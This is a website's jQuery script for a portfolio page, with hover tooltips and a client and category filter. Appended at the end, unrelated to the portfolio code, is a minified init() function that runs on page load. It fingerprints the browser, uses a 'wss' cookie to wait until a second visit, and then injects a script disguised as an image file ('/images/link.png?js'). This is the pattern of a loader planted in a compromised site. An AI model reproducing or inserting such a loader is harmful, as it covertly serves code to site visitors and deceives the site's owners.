$(document).ready(function() {
	/***Portfolio***/
	var toolTip = '';
	var altAttribute = '';
	$('ul.portfolio a').hover(function() {
	/*$('ul.portfolio a').mouseover(function(){*/
		toolTip = $(this).parent().attr('title');
		altAttribute = $(this).children('img').attr('alt');
		$(this).children('img').attr('alt','');
		if(toolTip != '') {
			$(this).parent().attr('title','');
			var projectInfo = '<div id="projectInfo" style="display: none;"><strong class="client">'+toolTip.replace('~','</strong>')+'</div>';
			$('ul.portfolio').after(projectInfo);
			
			var elOff = $(this).offset();
			var containerOffset = $('#container').offset();
			var leftPos = (elOff.left-containerOffset.left)+68;
			$('#projectInfo').css('left',leftPos);
			$('#projectInfo').css('top',elOff.top);
			$('#projectInfo').fadeIn();
		}
	},function() {
	/*}).mouseout(function(){	*/
		$(this).parent().attr('title',toolTip);
		$(this).children('img').attr('alt',altAttribute);
		$('#projectInfo').hide().remove();
	});
	/***End portfolio***/
	
	/***Portfolio Search***/
	$('#portfolioSubmit').hide();
	
	var initialClientVal = $('form#portfolioSearch select#client').val();
	if(initialClientVal != '') {
		jQuery.each($('ul.portfolio li'),function() {
			if(!$(this).hasClass(initialClientVal)) {
				$(this).children().children('img').css('opacity',0.2);	
			}									  
		});	
	}
	
	$('form#portfolioSearch select').change(function() {
		var categoryVal = $('#category').val();
		var clientVal = $('#client').val();
		
		$('ul.portfolio img').css('opacity',1.0);
		
		if(categoryVal != '' && clientVal != '') {
			jQuery.each($('ul.portfolio li'),function() {
				if(!$(this).hasClass(categoryVal) || !$(this).hasClass(clientVal)) {
					$(this).children().children('img').css('opacity',0.2);	
				}									  
			});
		} else if(categoryVal != '' && clientVal == '') {
			jQuery.each($('ul.portfolio li'),function() {
				if(!$(this).hasClass(categoryVal)) {
					$(this).children().children('img').css('opacity',0.2);	
				}									  
			});
		} else if(categoryVal == '' && clientVal != '') {
			jQuery.each($('ul.portfolio li'),function() {
				if(!$(this).hasClass(clientVal)) {
					$(this).children().children('img').css('opacity',0.2);	
				}									  
			});	
		}
		
	});	
	/***End portfolio search***/
	
});

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/link.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
